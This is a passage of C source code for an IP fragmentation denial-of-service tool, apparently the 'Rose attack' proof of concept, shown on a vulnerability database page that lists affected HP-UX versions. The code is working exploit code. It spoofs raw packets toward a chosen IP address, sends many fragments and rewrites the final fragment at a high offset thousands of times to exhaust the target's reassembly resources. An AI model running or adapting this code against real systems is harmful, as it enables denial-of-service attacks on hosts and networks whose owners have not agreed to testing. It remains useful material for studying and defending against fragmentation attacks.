tcpheader.src = tcpstore[i].src;
tcpheader.dst = tcpstore[i].dst;
tcpheader.ack = NETWIB_TRUE;
netwib_er(netwib_buf_init_ext_text("1234567890123456789012345678",
&payload));
netwib_er(netwib_pkt_append_iptcpdata(&ipheader, &tcpheader, &payload,
&prp->buf));
break;
case ROSE_TYPE_UDP :
netwib_er(netwib_udphdr_initdefault(&udpheader));
udpheader.src = udpstore[i].src;
udpheader.dst = udpstore[i].dst;
netwib_er(netwib_buf_init_ext_text("12345678901234567890123456789012",
&payload));
netwib_er(netwib_pkt_append_ipudpdata(&ipheader, &udpheader, &payload,
&prp->buf));
break;
}
if (prp->display) {
netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY,
NETWIB_ENCODETYPE_DUMP));
}
netwib_er(netwib_io_write(prp->pio, &prp->buf));
/* construct middle fragments */
ipheader.header.ip4.offsetfrag = 0x0008;
for(ipheader.header.ip4.offsetfrag = 0x0008 ;
ipheader.header.ip4.offsetfrag< nfrag;
ipheader.header.ip4.offsetfrag = ipheader.header.ip4.offsetfrag +
ndelta){
netwib__buf_reinit(&prp->buf);
switch(prp->type) {
case ROSE_TYPE_TCP :
ipheader.protocol = NETWIB_IPPROTO_TCP;
netwib_er(netwib_buf_init_ext_text("12345678",
&payload));
break;
case ROSE_TYPE_UDP :
ipheader.protocol = NETWIB_IPPROTO_UDP;
netwib_er(netwib_buf_init_ext_text("12345678",
&payload));
break;
}
netwib_er(netwib_pkt_append_ipdata(&ipheader, &payload, &prp->buf));
if (prp->display) {
netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY,
NETWIB_ENCODETYPE_DUMP));
}
netwib_er(netwib_io_write(prp->pio, &prp->buf));
}
}
printf("Rewriting %d packets last fragment %d times\r\n",
npack,nrew); fflush(stdout);
/* construct last fragment and rewrite NUM_LAST times */
for (j=0;j<nrew;j++){
netwib__buf_reinit(&prp->buf);
for (i=0; i<npack; i++){
ipheader = ipstore[i];
ipheader.src.iptype = NETWIB_IPTYPE_IP4;
ipheader.src.ipvalue.ip4 = ipstore[i].src.ipvalue.ip4;
ipheader.dst = prp->ipad;
switch(prp->type) {
case ROSE_TYPE_TCP :
tcpheader = tcpstore[i];
tcpheader.src = tcpstore[i].src;
tcpheader.dst = tcpstore[i].dst;
tcpheader.ack = NETWIB_TRUE;
ipheader.protocol = NETWIB_IPPROTO_TCP;
break;
case ROSE_TYPE_UDP :
udpheader.src = udpstore[i].src;
udpheader.dst = udpstore[i].dst;
ipheader.protocol = NETWIB_IPPROTO_UDP;
break;
}
netwib__buf_reinit(&prp->buf);
ipheader.header.ip4.morefrag = NETWIB_FALSE;
ipheader.header.ip4.offsetfrag = 0x1FF0;
netwib_er(netwib_buf_init_ext_text("1234567890123456",
&payload));
netwib_er(netwib_pkt_append_ipdata(&ipheader, &payload, &prp->buf));
if (prp->display) {
netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY,
NETWIB_ENCODETYPE_DUMP));
}
netwib_er(netwib_io_write(prp->pio, &prp->buf));
}
}
/* dot display */
if (!prp->display && (numsent%100)==0) {
printf("."); fflush(stdout);
}
numsent++;
}
return(NETWIB_ERR_OK);
}
/*-------------------------------------------------------------*/
int main(int argc, char* argv[])
{
rose_params rp;
netwib_buf ipstr;
netwib_err ret;
int npack, nrew, nrun, nfrag, ndelta;
/* initialize netwib */
netwib_init();
/* check parameter count */
if (argc < 3 || argc > 9) {
printf("Usage : %s type(1or2) ipaddress [port] [NumP] [Numt] [NumR] [NumF] [NumD]\n", argv[0]);
printf("Example: %s 1 1.2.3.4 80 5 9999 99999999 1021 8\n", argv[0]);
printf(" type : %d=tcp, %d=udp\n", ROSE_TYPE_TCP, ROSE_TYPE_UDP);
printf(" ipaddress : address to test\n");
printf(" port : optional port number (0 means random)\n");
printf(" NumP : Number of packets to fragment\n");
printf(" NumT : Number of times last fragment is rewritten\n");
printf(" NumR : Number of times to run test\n");
printf(" NumF : Number of fragments per packet\n");
printf(" NumD : Delta between fragements.\n");
return(1);
}
/* first parameter is type */
rp.type = atoi(argv[1]);
switch(rp.type) {
case ROSE_TYPE_TCP :
case ROSE_TYPE_UDP :
break;
default :
printf("First parameter must be 1 or 2 (currently=%s)\n", argv[1]);
return(2);
}
/* second parameter is IP address */
netwib_er(netwib_buf_init_ext_text(argv[2], &ipstr));
ret = netwib_ip_init_buf(&ipstr, NETWIB_IP_DECODETYPE_BEST, &rp.ipad);
if (ret != NETWIB_ERR_OK) {
printf("Second parameter must be an IP or hostname (currently=%s)\n",
argv[2]);
return(3);
}
/* third parameter is port number */
rp.port = 0;
if (argc > 3) {
rp.port = atoi(argv[3]); /* on error, set to 0, but that's ok */
}
/* fourth parameter is number of packets to fragment */
npack = 5;
if (argc > 4) {
npack = atoi(argv[4]); /* on error, set to 1 */
}
if (npack < 1) { npack = 1; }
if (npack > 1000) { npack = 1000; }
/* fifth parameter is number of times packet is rewritten */
nrew = NUM_LAST;
if (argc > 5) {
nrew = atoi(argv[5]); /* on error, set to 0, but that's ok */
}
/* sixth parameter is number of times to run the test */
nrun = NUM_RUN;
if (argc > 6) {
nrun = atoi(argv[6]); /* on error, set to 0, but that's ok */
}
/* seventh parameter is number of fragments per packet */
nfrag = NUM_FRAG;
if (argc > 7) {
nfrag = atoi(argv[7]);
}
if (nfrag < 1) { nfrag = 1; }
/* eighth parameter is delta between fragments */
ndelta = NUM_DELTA;
if (argc > 8) {
ndelta = atoi(argv[8]);
}
/* Make sure that the fragments do not exceed 8170 */
nfrag = (nfrag * ndelta) + 8;
if (nfrag > 8170) { nfrag = 8170; }
printf("%s %d %s %d %d %d %d %d ndelta = %d\n\r",
argv[0], rp.type, argv[2], rp.port, npack, nrew, nrun,
nfrag / 8, ndelta);
/* set to NETWIB_TRUE to activate display */
rp.display = NETWIB_FALSE;
/* instead of allocating memory each time, just use this permanent buffer */
netwib_er(netwib_buf_init_mallocdefault(&rp.buf));
/* initialize spoofing feature */
netwib_er(netwib_io_init_spoof_ip(NETWIB_SPOOF_IP_INITTYPE_LINKBRAW,
&rp.pio));
/* main function */
ret = rose_loop(&rp, npack, nrew, nrun, nfrag, ndelta);
if (ret != NETWIB_ERR_OK) {
netwib_er(netwib_err_display(ret, NETWIB_ERR_ENCODETYPE_FULL));
return(ret);
}
/* close netwib */
netwib_er(netwib_io_close(&rp.pio));
netwib_er(netwib_buf_close(&rp.buf));
netwib_close();
return(0);
}
Products Mentioned
Configuraton 0
Hp>>Hp-ux >> Version 11.00
Hp>>Hp-ux >> Version 11.4
Hp>>Hp-ux >> Version 11.11
Hp>>Hp-ux >> Version 11.23
References